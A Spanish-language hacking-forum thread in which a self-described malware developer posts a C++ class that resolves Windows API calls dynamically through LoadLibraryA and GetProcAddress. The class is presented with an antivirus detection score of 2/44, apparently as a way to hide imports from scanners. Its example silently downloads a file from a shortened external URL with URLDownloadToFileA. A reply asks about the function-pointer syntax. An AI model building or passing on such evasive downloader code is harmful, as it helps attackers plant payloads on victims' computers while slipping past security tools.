This site uses cookies own and third. If you continue to browse consider to accept the use of cookies. OK More Info.

[C++][Minimalista] API class, llamadas dinámicas.

  • 1 Replies
  • 4616 Views

0 Members and 1 Guest are viewing this topic.

Offline Karcrack

  • *
  • Underc0der
  • Posts: 87
  • Actividad:
    0%
  • Reputación 0
  • Se siente observado ¬¬'
    • View Profile
Code: (cpp) You are not allowed to view links. Register or Login
using namespace std;
#include <Windows.h>
#include <string>

class API{
public:
    void* (*call)(...);
    API(string dll, string fnc){
        this->call = (void *(*)(...))GetProcAddress(LoadLibraryA(dll.c_str()), fnc.c_str());
    };
};

Ejemplo de uso:
Code: (cpp) You are not allowed to view links. Register or Login
#pragma comment(linker, "/ENTRY:main")

#include "invoke.h"

void main(){
    API("URLMON", "URLDownloadToFileA").call(0, "http://goo.gl/veps2", "C:/test.png", 0, 0);
    __asm sub esp, 5*4
    API("KERNEL32","ExitProcess").call(0);
    //__asm sub esp, 4
}
Detección: 2/44
You are not allowed to view links. Register or Login

Mucho más compacto a lA hora de llamar al puntero que mis otras versiones, aunque hay que reparar de forma manual el stack hasta que diseñe un template para hacerlo.
I code for $$$.

(PGP ID 0xCC050E77)
ASM, C, C++, VB6... skilled [malware] developer

Offline Burnsed

  • *
  • Underc0der
  • Posts: 2
  • Actividad:
    0%
  • Reputación 0
    • View Profile
    • Email

Re:[C++][Minimalista] API class, llamadas dinámicas.

  • on: January 05, 2017, 07:15:15 pm
No entiendo esto:
Code: You are not allowed to view links. Register or Login
void* (*call)(...);
    API(string dll, string fnc){
        this->call = (void *(*)(...))GetProcAddress(LoadLibraryA(dll.c_str()), fnc.c_str());
    };

el void* (*call) (...);